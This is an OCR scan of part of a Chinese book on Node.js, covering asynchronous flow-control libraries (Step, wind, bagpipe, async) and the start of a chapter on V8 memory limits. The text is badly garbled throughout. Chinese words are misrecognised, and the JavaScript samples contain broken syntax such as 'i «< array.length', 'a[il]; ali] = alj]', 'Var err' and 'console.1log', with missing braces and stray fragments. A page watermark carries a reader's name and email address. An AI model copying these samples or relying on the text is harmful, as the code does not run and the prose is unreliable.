if (/\.js$/.test(filename)) { 
fs.readFile( dirname + "/" + filename, 'utf8', group()); 
} 
}); 
}， 
function showAll(err, files) { 
if (err) throw err; 
console.dir(files); 
} 
); 
我 们 注意 到 有 两 次 group() 的 调用 。 第 一 次 调用 是 告知 Step 要 并 行 执行 , 第 二 次 调用 的 结果 将 
会 生成 一 个 回调 函数 ， 而 回调 函数 接受 的 返回 值 将 会 按 组 存储 。parallel() 传 递 给 下 一 个 任务 的 
结 采 是 如 下 形式 : 
function (err, result1, result2, ...); 
group() 传 递 的 结果 是 : 
function (err, results); 
这 个 孙 数 返回 的 数据 保存 在 数组 中 。 
4. wind 
这 里 还 要 介绍 一 种 思路 完全 不 同 的 异步 编程 方案 wind ( https://github.com/JeffreyZhao/wind )。 
它 的 前 身 为 Jscex， 由 国内 知名 码 农 赵 动 完 成 开发 。 它 为 JavaScript 语 言 提 供 了 一 个 monadic 扩 展 ， 
能 够 显著 提高 一 些 常 见 场景 下 的 异步 编程 体验 。 
异步 编程 有 时 需要 面临 的 场景 非常 特殊 ， 下 面 我 们 由 一 个 冒 泡 排 序 来 了 解 wind 的 特殊 之 处 : 


var compare = function (x, y) { 
return x - yj 


Dy 


var swap = function (a, i, j) { 
var t = ali]; ali] = a[j}]; alj] = t; 
}; 


var bubbleSort = function (array) { 
for (var i = 0; i «< array.length; i++) { 
for (var j = 0; j < array.length - i - 1; j++) { 
if (compare(array[j], array[j + 1]) > 0) { 
swap(array, j, j + 1); 


人 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


102 第 4 章 异步 编程 


现在 我 们 要 添加 的 知 求 是 , 将 这 个 冒 泡 排序 动画 起 米 。 这 意味 着 在 swap() 方 法 中 需要 添加 动 
画 逻 辑 ， 这 在 JavaScript 中 并 不 是 一 件 难 事 ， 困 难 的 地 方 在 于 动画 需要 延 时 的 方式 完成 。 但 在 
JavaScript 中 只 有 setTimeout() 能 够 实现 延 时 功能 (用 while 判 断 时 间 的 方式 不 可 取 , 这 在 前 面 有 所 摘 
述 )。 我 们 知道 ，setTimeout () 是 一 个 异步 方法 ， 在 执行 后 ， 将 立即 返回 。 所 以 ， 难 点 出 现在 : 

D 动画 执行 时 无 法 俘 止 排序 算法 的 执行 ; 

口 排 友 算法 的 继续 执行 将 会 局 动 更 多 动画 。 

因此 ,了 逐步 又 的 动画 将 难以 实现 ,而 wind 在 解决 这 个 问题 上 体现 出 了 它 的 独特 魅力 之 处 ， 相 
关 代 码 如 下 : 


var compare = function (x, y) { 
return x - y; 


} 


var swapAsync = eval(Wind.compile("async", function (a, i, j) { 
$await(Wind.Async.sleep(20)); // 暂停 20 毫 秒 
var t = a[il]; ali] = alj]; alj] = t; 
paint(a); // 重 绘 数组 


3 


var bubbleSort = eval(Wind.compile("async", function (array) { 
for (var i = 0; i «< array.length; i++) { 
for (var j = 0; j < array.length - i - 1; j++) { 
if (compare(array[j], array[j + 1]) > 0) { 
$await(swapAsync(array, j, j + 1)); 
} 
} 
} 
})); 


上 述 代码 实现 了 和 暂停 20 曼 秒 、 绘 制 劲 画 、 继 续 排 序 的 效 末 。 从 代码 的 角度 来 说 ， 这 里 虽然 介 
入 了 异步 方法 , 但 是 并 没有 如 同 其 他 异步 流程 控制 库 那 样 变 得 异步 化 , 逻辑 并 没有 因为 异步 被 折 
分 。 同 时 可 以 注音 到， 我 们 的 代码 中 引入 了 一 些 新 的 东西 : 

DQ eval(Wind.compile("async", function() {})); 

DQ $await(); 

DO Wind.Async.sleep(20); 

下 面 我 们 将 详细 介绍 以 上 3 行 代码 的 特异 之 处 。 

@ 异步 任务 定义 

eval() 吨 数 在 业界 一 回 是 一 个 需要 说 慎 对 竺 的 晒 数 ，Douglas Crockford 更 是 深恶痛绝 地 将 其 
称 为 魔 技 ， 因 为 它 能 访问 上 下 文 和 编译 占 ， 可 能 导致 上 下 文 混乱 。 大 多 数 利 用 eval() 基数 的 人 都 
不 能 把 握 好 它 的 用 法 ， 导 致 Douglas Crockford 认 为 它 是 JavaScript 可 有 可 无 的 功能 。 

但 是 在 wind 的 世界 里 ， 恰 好 反 Douglas Crockford 之 道 而 行 之 ， 巧 妙 地 利用 了 eval() 访 问 上 下 
文 的 特性 。Wind.compile() 会 将 普通 的 图 数 进行 编 详 ， 然 后 交 给 eval() 执 行 。 换 言 之 ， 
eval(Wind.compile("async"，function () {})); 定 义 了 异步 任务 。Wind.Async.sleep(); 则 内 置 了 
对 setTimeout() 的 封装 。 
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@ $await() 与 任务 模型 

在 定义 完 异 步 方法 后 ，wind 提 供 了 $await() 方 法 实现 等 竺 完成 异步 方法 。 但 事实 上 ， 它 并 不 
是 一 个 方法 ， 也 不 存在 于 上 下 文中 ， 只 是 一 个 等 待 的 占 位 符 ， 告 之 编译 硕 这 里 需要 等 符 。 

$await() 接 受 的 参数 是 一 个 任务 对 象 ， 表 示 等 待 任务 结束 后 才 会 执行 后 续 操 作 。 每 一 个 异 : 
操作 都 可 以 转化 为 一 个 任务 ，wind 正 是 基于 任务 模型 实现 的 。 下 面 的 代码 用 于 将 fs.readFile() 
调用 转化 为 一 个 任务 模型 : 


var Wind 
var Task 


= require("wind"); 
= Wind.Async.Task; 
var readFileAsync = function (file, encoding) { 
return Task.create(function (t) { 
fs.readFile(file, encoding, function (err, file) { 
if (err) { 
t.complete("failure", err); 
} else { 
t.complete("success", file); 


除了 通过 eval(Wind.compile("async"，function () {})); 定 义 任务 外 ， 正 式 的 任务 创建 方法 
为 Task.create()。 执 行 readFileAsync() 进 行 偏 归 数 转换 得 到 真正 的 任务 。 异 步 方 法 在 执行 结 
时 , 可 以 通过 complete() 传 递 failure 或 success 信 息 ,， 告 知 任务 执行 完毕 。 如 果 是 failure 则 可 以 通 
过 try/catch 捕 获 异 常 。 这 上 略微 有 些 打破 前 述 try/catch 无 法 捕获 回调 也 数 中 异常 的 定论 。 下 面 的 
代码 为 调用 readFileAsync() 得 到 一 个 任务 的 示例 : 

var task = readFileAsync('file1.txt', 'utf-8'); 

下 面 我 们 如 同 介绍 async 或 者 Step 的 串 行 执行 示例 一 样 ， 和 尝试 感 受 一 下 wind 的 风采 : 


var serial = eval(Wind.compile("async", function () { 

var file1 = $await(readFileAsync('file1.txt', 'utf-8')); 
console.log(file1); 
var file2 = $await(readFileAsync('file2.txt', 'utf-8')); 
console.log(file2); 
try { 

var file3 = $await(readFileAsync('file3.txt', 'utf-8')); 
} catch (err) { 

console.1log(err); 


} 
})); 
serial().start(); 
执行 上 述 代码 ， 将 得 到 如 下 输出 : 
file1 


file2 
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{ [Error: ENOENT, open 'file3.txt'|] errno: 34, code: 'ENOENT', path: “file3.txt”} 
异步 方法 在 JavaScript 中 通常 会 立即 返回 , 在 wind 中 做 到 了 不 阻塞 CPU 但 阻塞 代码 的 目的 。 接 
下 来 我 们 尝试 下 并 行 的 效果 ， 相 关 代 码 如 下 : 
var parallel = eval(Wind.compile("async", function () { 
var result = $await(Task.whenAll({ 


file1: readFileAsync('file1.txt', 'utf-8'), 
file2: readFileAsync('file2.txt', 'utf-8') 


})); 


console.log(result.file1); 
console.log(result.file2); 


})); 


parallel().start(); 
得 到 输出 : 


file1 
file2 


wind 提 供 了 whenAl1() 来 处 理 并 发 ,通过 $await 关 键 字 将 等 待 配 置 的 所 有 任务 完成 后 才 癌 下 继 
续 执 行 。 

@ 异步 方法 转换 辅助 函数 

可 以 看 到 ， 除 了 eval(NWind.compile("async"，function () {f) 在 实际 代码 中 稍 显 宛 长 外 ， 
异步 调用 在 代码 层面 上 已 经 与 同步 调用 相差 无 几 。 这 十 分 适合 从 已 有 的 采用 同步 编写 方式 的 代码 
问 Node 迁 移 ， 可 以 省 挥 重 写 代 人 码 的 开销 。 

如 同 Promise/Deferred 模 式 可 以 让 异步 编程 模型 变 简单 ,这 种 近 同 步 编 程 的 体验 需要 我 们 额外 
或 者 提前 完成 的 事情 是 : 将 异步 方法 任务 化 。 这 种 任务 化 的 过 程 可 以 看 作 是 Promise/Deferred 的 封 
装 。 如 果 每 个 方法 都 如 readFileAsync 一 般 去 定义 ,将 会 是 一 个 庞大 的 工作 量 。wind 提 供 了 两 个 
方法 来 辅助 转换 : 

D Wind.Async.Binding.fromCallback 

D Wind.Async.Binding.fromStandard 

在 Node 中 异步 方法 的 回调 传 值 有 两 种 , 一 种 是 无 异常 的 调用 , 通常 只 有 一 个 参数 返回 , 如 下 
所 未 : 


fs.exists("/etc/passwd", function (exists) { 
// exists 参 数 表 示 是 否 存 在 
}); 


而 fromCallback 用 于 转换 这 类 异步 调用 为 wind 中 的 任务 。 
男 一 类 是 帝 异 常 的 调用 ， 苯 循 规 冰 将 返回 参数 列表 的 第 一 个 参数 作为 异常 标示 ， 如 下 所 示 : 
fs.readFile('file1.txt', function (err, data) { 


// erT 表 示 异 常 


}); 
而 fromStandard 用 于 转换 这 类 异步 调用 到 wind 中 的 任务 。 
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是 故 ，readFileAsync 的 定义 其 实 只 要 一 行 代码 即 可 实现 : 

var readFileAsync = Wind.Async.Binding.fromStandard(fs.readFile); 

5. 流程 控制 小 结 

从 本 书 介 绍 的 各 个 流程 控制 案例 来 看 , 从 解决 “恶魔 金字 塔 ”到 解决 异步 协作 的 方法 有 多 种 ， 
几 个 类 库 儿 乎 各 显 神 通 。 异 步 编程 虽然 相对 复杂 , 但 并 非 难事 ,相同 的 问题 通过 各 种 技巧 依然 能 
将 复杂 的 事情 傈 化 。 

这 里 简单 对 比 下 几 种 方案 的 区 别 : 事件 发 布 /订阅 模式 相对 算是 一 种 较为 原始 的 方式 ， 
Promise/Deferred 模 式 贡 献 了 一 个 非常 不 错 的 异步 任务 模型 的 抽象 ,而 上 述 的 这 些 异 步 流 程控 制 方 
案 与 Promise/Deferred 模 式 的 思路 不 同 ，Promise/Deferred 的 重头 在 于 封装 异步 的 调用 部 分 ， 流程 
控制 库 则 显得 没有 模式 ， 将 处 理 重点 放置 在 回调 也 数 的 注入 上 。 从 上 自由 度 上 来 讲 ，async、Step 
这 类 流 控 库 要 相对 灵活 得 多 。EventProxy 库 则 主要 借鉴 事件 发 布 /订阅 模式 和 流程 控制 库 通 过 高 阶 
也 数 生成 回调 函数 的 方式 实现 。 

除了 async、Step、EventProxy、wind 等 方案 外 ， 还 有 一 类 通过 源 代码 编译 的 方案 来 实现 流程 
控制 的 简化 ，streamline 是 典型 的 例子 。 这 类 例子 并 不 在 本 章 的 讨论 范围 内 ， 如 采 谈 者 有 兴趣 ， 可 
以 目 行 查阅 相关 资料 。 
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在 陆续 介绍 的 各 种 异步 编程 方法 里 , 解决 的 问题 无 外 乎 保持 异步 的 性 能 优势 , 提升 编程 体验 ， 
但 是 这 里 有 一 个 过 犹 不 及 的 案例 。 
在 Node 中 , 我 们 可 以 十 分 方便 地 利用 异步 发 起 并 行 调用 。 使 用 下 面 的 代码 , 我 们 可 以 轻松 发 
起 100 次 异步 调用 : 
for (var i = 0, i «< 100; i++) { 
async(); 


但 是 如 果 并 发 量 过 大 ,我 们 的 下 层 服务 带 将 会 吃不消 。 如 果 是 对 文件 系统 进行 大 量 并 发 调用 ， 
操作 系统 的 文件 描述 和 从 数量 将 会 被 瞬间 用 光 ， 抛 出 如 下 错误 : 

Error: EMFILE, too many open files 

可 以 看 出 ， 异 步 IO 与 同步 IO 的 显著 差距 : 同步 WO 因为 每 个 WO 都 是 彼此 阻塞 的 ， 在 循环 体 
中 ， 总 是 一 个 接着 一 个 调用 , 不 会 出 现 耗 用 文件 描述 符 太 多 的 情况 ,同时 性 能 也 是 低下 的 ; 对 于 
异步 7O， 虽 然 并 发 容易 实现 ， 但 是 由 于 太 容易 实现 ， 依 然 需要 控制 。 换 言 之 ， 尽 管 是 要 压榨 底 
层 系统 的 性 能 ， 但 还 是 需要 给 予 一 定 的 过 载 保 护 ， 以 防止 过 犹 不 及 。 


4.4.1 bagpipe 的 解决 方案 


如 何 对 既 有 的 异步 API 添 加 过 载 保 护 ， 我 们 期 望 的 当然 不 是 去 改动 API。 那 么 如 何 实 现 呢 ? 
我 瑟 的 bagpipe 模 块 的 解决 思路 是 这 样 的 。 
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口 通过 一 个 队列 来 控制 并 发 量 。 

口 如 果 当 前 活跃 〈 指 调用 发 起 但 未 执行 回调 ) 的 异步 调用 量 小 于 限定 值 ， 从 队列 中 取出 执行 。 
口 如 有 果 活 跃 调用 达到 限定 值 ， 调 用 暂时 存放 在 队列 中 。 

口 每 个 异步 调用 结束 时 ， 从 队列 中 取出 新 的 异步 调用 执行 。 

bagpipe 的 API 主 要 暴露 了 一 个 push() 方 法 和 full 事 件 ， 示 例 代 码 如 下 : 


var Bagpipe = require('bagpipe'); 
// 设 定 最 大 并 发 数 为 10 
var bagpipe = new Bagpipe(10); 
for (var i = 0; i «< 100; i++) { 

bagpipe.push(async, function () { 

// 上 凡 步 回调 执行 
}); 

| 
bagpipe.on('full', function (length) { 

console.warn(' 底 层 系 统 处 理 不 能 及 时 完成 ， 队 列 拥 堵 ， 目 前 队列 长 度 为 :" + length); 
}); 
这 里 的 实现 细节 类 似 于 前 文 的 smooth()。push() 方 法 依然 是 通过 贞 数 变换 的 方式 实现 ， 假 设 

第 一 个 参数 是 方法 ， 最 后 一 个 参数 是 回调 函数 ， 其 余 为 其 他 参数 ， 其 核心 实现 如 下 : 

/** 

* 推 入 方法 ， 参 数 。 最 后 一 个 参数 为 回调 函数 

* @param {Function} method 异步 方法 

* @param {Mix} args 参数 列表 ， 最 后 一 个 参数 为 回调 函数 

*/ 

Bagpipe.prototype.push = function (method) { 

var args = [|].slice.call(arguments, 1); 

var callback = args[args.length - 1]; 

if (typeof callback !== 'function') { 
args.push(function () {}); 


if (this.options.disabled || this.limit < 1) { 
method.apply(null, args); 
return this; 


} 


// 队列 长 度 也 超过 限制 值 时 
if (this.queue.length «< this.queueLength || !this.options.refuse) { 
this.queue.push({ 
method: method, 
args: args 
}); 
} else { 
var err = new Error('Too much async call in queue'); 
err.name = ‘TooMuchAsyncCallError'; 
callback(err); 


if (this.queue.length > 1) { 
this.emit('full', this.queue.length); 


} 
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this .next() ; 

return this; 
}; 
将 调用 推 和 队列 后 ， 调 用 一 次 next() 方 法 尝试 触发 。next() 方 法 的 定义 如 下 : 
人 

* 继续 执行 队列 中 的 后 续 动 作 

SY 


Bagpipe.prototype.next = function () { 
var that = this ; 
if (that.active < that.limit && that.queue.length) { 
var req = that.queue.shift(); 
that.run(req.method, req.args); 
} 
}; 


next() 方 法 主要 判断 活跃 调用 的 数量 ， 如 来 正 第 将 调用 内 部 方法 run() 来 执行 真正 的 调用 。 
这 里 为 了 判断 回调 函数 是 否 执行 ， 采 用 了 一 个 注入 代码 的 技巧 ， 具 体 代码 如 下 : 


/*! 
* 执行 队列 中 的 方法 
J 
Bagpipe.prototype.run = function (method, args) { 
var that = this ; 
that .active++; 
var callback = args[args.length - 1]; 
var timer = null; 
var called = false; 


// inject logic 
args[args.length - 1| = function (err) { 
// anyway, clear the timer 
if (timer) { 
clearTimeout (timer); 
timer = null; 
} 
// if timeout, don't execute 
if (lcalled) { 
that. next(); 
callback.apply(null, arguments); 


} else { 
// pass the outdated error 
if (err) { 
that.emit('outdated' , err); 
} 
} 
}; 


var timeout = that.options.timeout; 
if (timeout) { 
timer = setTimeout(function () { 
// set called as true 
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called = true; 
that. next(); 
// pass the exception 
Var err = new Error(timeout + "ms timeout'); 
err.name = 'BagpipeTimeoutError’'; 
err.data = { 
name: method.name, 
method: method.toString(), 
args: args.slice(0, -1) 


callback(err); 
}, timeout); 


ee args); 
}; 

用 户 传 入 的 回调 函数 被 真正 执行 前 , 被 封 沪 玲 换 过 。 这 个 封 波 的 回调 函数 内 部 的 巡 辑 将 活路 
值 的 计数 需 减 1 后 ， 主 动 调用 next() 执 行 后 续 等 待 的 异步 调用 。 

bagpipe 类 似 于 打开 了 一 道 窗 口 ， 人 允许 异步 调用 并 行进 行 ， 但 是 严格 限定 上 限 。 仪 仅 在 调用 
push() 时 分 开 传 递 ， 并 不 对 原 有 API 有 任何 侵入 。 

@ 拒绝 模式 

事实 上 ，bagpipe 还 有 一 些 次 度 的 使 用 方式 。 对 于 大 量 的 异步 调用 ， 也 震 要 分 场景 进行 区 分 ， 
因为 涉及 并 发 控制 ， 必 然 会 造成 部 分 调用 需要 进行 等 待 。 如 朱 调 用 有 实时 方面 的 需求 ,那么 需要 
快速 返回 ， 因 为 等 到 方法 被 大正 执行 时 ,可 能 已 经 超过 了 等 竺 时间， 即使 返回 了 数据 ， 也 没有 意 
义 了 。 这 种 场景 下 需要 快速 失败 ， 让 调用 方 尽 早 返 回 ， 而 不 用 浪费 不 必要 的 等 等 时 间 。bagpipe 
为 此 支持 了 拒绝 模式 。 

拒绝 模式 的 使 用 只 要 设置 下 参数 即 可 ， 相 关 代 人 码 如 下 : 

// 设 定 最 大 并 发 数 为 10 

var bagpipe = new Bagpipe(10, { 
refuse: true 


1 
在 拒绝 模式 下 ， 如果 等 每 的 调用 队列 也 满 了 之 后 , 新 来 的 调用 就 耳 接 返 给 它 一 个 队列 太 忙 的 
拒绝 异常 。 


@ 超时 控制 

造成 队列 拥 老 的 主要 原因 是 异步 调用 耗 时 太 久 , 调用 产生 的 速度 远 远 高 于 执行 的 速度 。 为 了 防 
止 某 些 异步 调用 使 用 了 太 多 的 时 间 , 我 们 需要 设置 一 个 时 间 基 线 , 将 那些 执行 时 间 太 和 久 的 异步 调用 
清理 出 活跃 队列 , 让 排队 中 的 异步 调用 尽快 执行 。 否则 在 拒绝 模式 下 , 会 有 太 多 的 调用 因为 某 个 执 
行 得 慢 ， 导 人 致 得 到 拒绝 异常 。 相 对 而 言 ， 这 种 场景 下 得 到 拒绝 异常 显得 比较 无 举 。 为 了 公平 地 对 待 
在 实时 需求 场景 下 的 每 个 调用 ， 必 须要 控制 每 个 调用 的 执行 时 间 ， 将 那些 害群之马 足 出 队伍 。 

为 此 , bagpipe 也 提供 了 超时 控制 。 超 时 控制 是 为 异步 调用 设置 一 个 时 间 国 但, 如果 异步 调用 
没有 在 规定 时 间 内 完成 , 我 们 先 执行 用 户 传 人 的 回调 函数 ,让 用 户 得 到 一 个 超时 异 弟 ， 以 尽早 返 
回 。 然 后 让 下 一 个 等 竺 队列 中 的 调用 执行 。 
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超时 的 设置 如 下 : 

// 设 定 最 大 并 发 数 为 10 

var bagpipe = new Bagpipe(10, { 
timeout: 3000 


}); 

@ 小 结 

异步 调用 的 并 发 限制 在 不 同 场景 下 的 需求 不 同 : 非 实 时 场景 下 , 让 超出 限制 的 并 发 暂时 等 待 
执行 已 经 可 以 满足 需求 ; 但 在 实时 场景 下 ， 需 要 更 细 粒 度 、 更 合理 的 控制 。 


4.4.2 async 的 解决 方案 


无 独 有 偶 , async 也 提供 了 一 个 方法 用 于 处 理 异 步调 用 的 限制 : parallelLimit()。 如 下 是 async 
的 示例 代码 : 


async.parallelLimit(|[ 
function (callback) { 
fs.readFile('file1.txt', 'utf-8', callback); 
上 
function (callback) { 
fs.readFile('file2.txt', 'utf-8', callback); 


],， 1, function (err, results) { 
// TODO 


}); 

parallelLimit() 与 parallel() 类 似 , 但 多 了 一 个 用 于 限制 并 发 数量 的 参数 ,使 得 任务 只 能 同 
时 并 发 一 定数 量 ， 而 不 是 无 限制 并 发 。 

parallelLimit() 方 法 的 缺陷 在 于 无 法 动态 地 增加 并 行 任务 。 为 此 ，async 提 供 了 queue() 方 法 
来 满足 该 需求 ， 这 对 于 过 历 文件 目录 等 操作 十 分 有 效 。 以 下 是 queue() 的 示例 代码 : 

var q = async.queue(function (file, callback) { 

| Be 'utf-8', callback); 


q.drain = function () { 
// 完成 了 队列 中 的 所 有 任务 


}; 
fs.readdirSync('.').forEach(function (file) { 
q.push(file, function (err, data) { 
// TODO 
}); 
}); 
尽管 queue() 实 现 了 动态 添加 并 行 任务 , 但 是 相 比 parallelLimit()， 由 于 queue() 接 收 的 参数 
是 固定 的 ， 它 丢失 了 parallelLimit() 的 多 样 性 ， 我 私心 地 认为 bagpipe 更 灵活 ， 可 以 添加 任意 类 
型 的 异步 任务 , 也 可 以 动态 添加 异步 任务 , 同时 还 能 够 在 实时 人 处理 场 景 中 加 入 拒绝 模式 和 超时 控 
制 。 在 实际 应 用 中 ， 开 发 者 可 以 根据 场景 进行 取舍 。 
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在 接触 Node 的 过 程 中 , 很 多 人 粗略 地 接触 了 几 个 回调 咀 数 之 后 就 放弃 了 。 尽管 异步 编程 略微 
艰难 , 但 是 并 非 一 无 是 处 , 一 旦 习惯 ,就 显得 目 然 。 从 社区 和 过 往 的 经 验 而 言 ，JavaScript 异 步 编 
程 的 难题 已 经 基本 解决 , 无 论 是 通过 事件 ， 还 是 通过 Promise/Deferred 模 式 或 者 流程 控制 库 。 相 
信 在 和 营 握 以 上 技巧 之 后 ， 异 步 编程 不 是 难事 ， 习 惯 异步 编程 之 后 ,将 会 收获 许多 值得 理 受 的 编程 
体验 。 

本 章 主 要 介绍 了 主流 的 几 种 异步 编程 解决 方案 , 这 是 目前 J avaScript 中 主要 使 用 的 方案 。 但 对 
于 其 他 语言 而 言 , 还 有 协 程 ( coroutine ) 等 方式 .但 是 由 于 Node 基 于 V8 的 原因 ,在 目前 EMCAScript5 
的 实现 下 还 不 文 持 协 程 。 这 些 标 准 和 规范 还 在 制定 中 ， 所 以 暂时 不 作 介 绍 。 未 来 的 V8 如 采 文 持 
Generator， 也 将 在 Node 中 能 和 直接 使 用 。 

最 后 ,因为 人 们 总 是 习惯 性 地 以 线性 的 方式 进行 思考 ,以致 异步 编程 相对 较为 难以 等 握 。 这 
个 世界 以 异步 运行 的 本 质 是 不 会 因为 大 家 线性 思维 的 惯性 而 改变 ,就 像 日 出 月 纱 不 会 因为 你 的 心 
情 而 改变 其 自 有 的 运行 轨迹 。 


4.6 ”参考 资源 


D http://nodejs.org/docs/latest/api/events.html 

D https://github.com/JacksonTian/eventproxy/blob/master/ README.md 
DQ https://github.com/JeffreyZhao/jscex/blob/master/ README-cn.md 

DQ http:/documentup.com/kriskowal/q/ 
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D https://github.com/JacksonTian/bagpipe 

DD http:/Wwww.jslint.conm/lint.html 

DQ https://github.com/JeffreyZhao/wind 


DQ http://Wwiki.common]js.org/wik1/Promises 
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内 存 控 制 


也 许 谈 者 会 好 奇 为 何 会 有 这 样 一 草 存 在 于 本 书 中 ， 因 为 在 过 去 很 长 一 段 时 间 内 ，JavaScript 
开发 者 很 少 在 开发 过 程 中 遇 到 需要 对 内 存 精 确 控制 的 场景 ， 也 缺乏 控制 的 手段 。 说 到 内 存 泄漏 ， 
大 家 首先 想起 的 也 只 是 早期 版 本 的 正中 JavaScript 与 DOM 交 互 时 发 生 的 问题 。 如 果 页 面 里 的 内 存 
占用 过 多 ， 基 本 等 不 到 进行 代码 回收 ， 用 户 已 经 不 耐烦 地 刷新 了 当前 页 面 。 

随 着 Node 的 发 展 ，JavaScript 已 经 实现 了 CommonJS 的 生态 圈 大 一 统 的 梦想 ，JavaScript 的 应 
用 场景 早已 不 再 局 限 在 浏览 需 中 。 本 章 将 暂时 抛 开 那 些 短 时 间 执 行 的 场景 ， 比 如 网 页 应 用 、 命 
令 行 工 具 和 等， 这 类 场景 由 于 运行 时 间 短 ， 且 运行 在 用 户 的 机 右上 ， 即 使 内 存 使 用 过 多 或 内 存 泄 
涯 ， 也 只 会 影响 到 终端 用 户 。 由 于 运行 时 间 短 ， 随 着 进程 的 退出 ， 内 存 会 释放 ， 几 乎 没有 内 存 
管理 的 必要 。 但 随 春 Node 在 服务 融 端的 广泛 应 用 ， 其 他 语言 里 存在 春 的 问题 在 JavaScript 中 也 暴 
露出 来 了 。 

基于 无 阻塞 、 事 件 驱 动 建立 的 Node 服 务 , 具有 内 存 消耗 低 的 优点 , 非常 适合 处 理 海量 的 网 络 
请 求 。 在 海量 请 求 的 前 提 下 ,开发 者 就 需要 考虑 一 些 平常 不 会 形成 影响 的 问题 。 本 书写 到 这 里 算 
是 正式 迈进 服务 带 并 编程 的 领域 7 ， 内 存 控 制 正 是 在 海量 请 求 和 长 时 间 运 行 的 前 提 下 进行 探讨 
的 。 在 服务 需 端 , 资源 回来 就 寸土 寸 金 , 要 为 海量 用 户 服务 , 就 得 使 一 切 资 源 都 要 高 效 循环 利用 。 
在 第 3 章 中 , 差不多 已 介绍 完 Node 是 如 何 利 用 CPU 和 IO 这 两 个 服务 器 资源 , 而 本 章 将 介绍 在 Node 
中 如 何 合理 高 效 地 使 用 内 存 。 


5.1 V8 的 垃圾 回收 机 制 与 内 存 限制 


我 们 在 学 习 JavaScript 编 程 时 昕 说 过 ， 它 与 Java 一 样 ， 由 垃圾 回收 机 制 来 进行 自动 内 存 管理 ， 
这 使 得 开发 者 不 需要 像 C/C++ 程序 员 那 样 在 编写 代码 的 过 程 中 时 刻 关 注 内 存 的 分 配 和 释放 问题 。 
但 在 浏览 姨 中 进行 开发 时 , 几乎 很 少 有 人 能 遇 到 垃圾 回收 对 应 用 程序 构成 性 能 影响 的 情况 。Node 
极 大 地 折 宽 了 JavaScript 的 应 用 场景 , 当主 流 应 用 场景 从 客户 端 延 伸 到 服务 顺 端 之 后 , 我 们 就 能 发 
现 ， 对 于 性 能 敏感 的 服务 器 端 程序 ， 内 存 管理 的 好 坏 、 垃 圾 回收 状况 是 否 优良 ， 都 会 对 服务 构成 
影响 。 而 在 Node 中 ， 这 一 切 都 与 Node 的 JavaScript 执 行 引擎 V8 息 息 相 关 。 
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5.1.1 Node 与 V8 


回溯 历史 可 以 发 现 ，Node 在 发 展 历程 中 离 不 开 V8， 所 以 在 官方 的 主页 介绍 中 就 提 到 Node 是 
一 个 构建 在 Chrome 的 JavaScript 运 行 时 上 的 平台 。2009 年 , Node 的 创始 人 Ryan Dahl 选 择 了 V8 来 作 
为 Node 的 JavaScript 脚 本 引擎 ， 这 离 不 开 当 时 硝烟 四 起 的 第 三 次 浏览 硕大 战 。 那 次 大 战 中 ， 来 目 
Google 的 Chrome 浏 览 硕 以 其 优异 的 性 能 成 为 焦点 。Chrome 成 功 的 背后 离 不 开 JavaScript3| 擎 V8。 
V8 出 现 后 ，JavaScript 一 改 它 作 为 脚本 语言 性 能 低下 的 形象 。 在 接 下 来 的 性 能 跑 分 中 ，V8 持 续 领 
跑 至 今 。 V8 的 性 能 优势 使 得 用 JavaScript 号 高 性 能 后 台 服 务 程序 成 为 可 能 。 在 这 样 的 契机 下, Ryan 
Dahl 选 择 了 JavaScript， 选 择 了 V8， 在 事件 驱动 、 非 阻塞 1/O 模 型 的 设计 下 实现 了 Node。 

关于 V8， 它 的 来 历 与 背景 亦 是 大 有 来 涉 。 作 为 虚拟 机 ，V8 的 性 能 表现 优异 ， 这 与 它 的 领导 
者 有 英 大 的 渊源，Chrome 的 成 功 也 离 不 开 它 背后 的 天 才 Lars Bak。 在 Lars 的 工作 履历 里 ， 绝 
大 部 分 都 是 与 虚拟 机 相关 的 工作 。 在 开发 V8 之 前 , 他 曾经 在 Sun 公 司 工 作 , 担任 HotSpot 团 队 的 技 
术 领 导 ， 主 要 致力 于 开发 高 性 能 的 Java 虚 拟 机 。 在 这 之 前 ， 他 也 曾 为 Self、Smalltalk 语 言 开发 过 
高 性 能 虚拟 机 。 这 些 无 与 伦比 的 经 历 让 V8 一 出 世 就 超越 了 当时 所 有 的 JavaScript 虚 拟 机 。 

Node 在 JavaScript 的 执行 上 和 直接 受益 于 V8, 可 以 随 着 V8 的 升级 就 能 至 受到 更 好 的 性 能 或 新 的 
语言 特性 ( 如 ES5 和 ES6 ) 等 ， 同 时 也 受到 V8 的 一 些 限 制 ， 尤 其 是 本 章 要 重点 讨论 的 内 存 限制 。 


5.1.2 V8 的 内 存 限制 


在 一 般 的 后 端 开 发 语言 中 , 在 基本 的 内 存 使 用 上 没有 什么 限制 , 然而 在 Node 中 通过 JavaScript 
使 用 内 存 时 就 会 发 现 只 能 使 用 部 分 内 存 ( 64 位 系统 下 约 为 1.4GB，32 位 系统 下 约 为 0.7GB ) 。 在 
这 样 的 限制 下 ， 将 会 导致 Node 无 法 直接 操作 大 内 存 对 象 ， 比 如 无 法 将 一 个 2 GB 的 文件 谈 和 人 内存 
中 进行 字符 串 分 析 人 处 理 ， 即 使 物理 内 存 有 32 GB。 这 样 在 单个 Node 进 程 的 情况 下 ， 计 算 机 的 内 存 
资源 无 法 得 到 充足 的 使 用 。 

造成 这 个 问题 的 主要 原因 在 于 Node 基 于 V8 构 建 ， 所 以 在 Node 中 使 用 的 JavaScript 对 和 象 基本 上 
都 是 通过 V8 目 己 的 方式 来 进行 分 配 和 管理 的 。V8 的 这 套 内 存 管 理 机 制 在 浏览 需 的 应 用 场景 下 使 
用 起 来 绰绰有余 , 足以 胜任 前 端 页 面 中 的 所 有 需求 。 但 在 Node 中 , 这 却 限制 了 开发 者 随心 所 欲 使 
用 大 内 存 的 想法 。 

尽 定 在 服务 各 端 操作 大 内 存 也 不 是 和 常见 的 需求 场景 , 但 有 了 限制 之 后 , 我 们 的 行为 就 如 同市 
着 镶 钳 跳 功 ， 如 果 在 实际 的 应 用 中 不 小 心 触 磁 到 这 个 界限 ， 会 造成 进程 退出 。 要 知晓 V8 为 何 限 
制 了 内 存 的 用 量 ， 则 需要 回归 到 V8 在 内 存 使 用 上 的 策略 。 知 晓 其 原理 后 ， 才 能 避免 问题 并 更 好 
地 进行 内 存 管理 。 


5.1.3 V8 的 对 象 分 配 


在 V8 中 ， 所 有 的 JavaScript 对 象 都 是 通过 堆 来 进行 分 配 的 。Node 提 供 了 V8 中 内 存 使 用 量 的 查 
看 方式 ， 执 行 下 面 的 代码 ， 将 得 到 输出 的 内 存 信息 : 
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$ node 

> piocess .memoryUsage( ) ; 

{ rss: 14958592， 
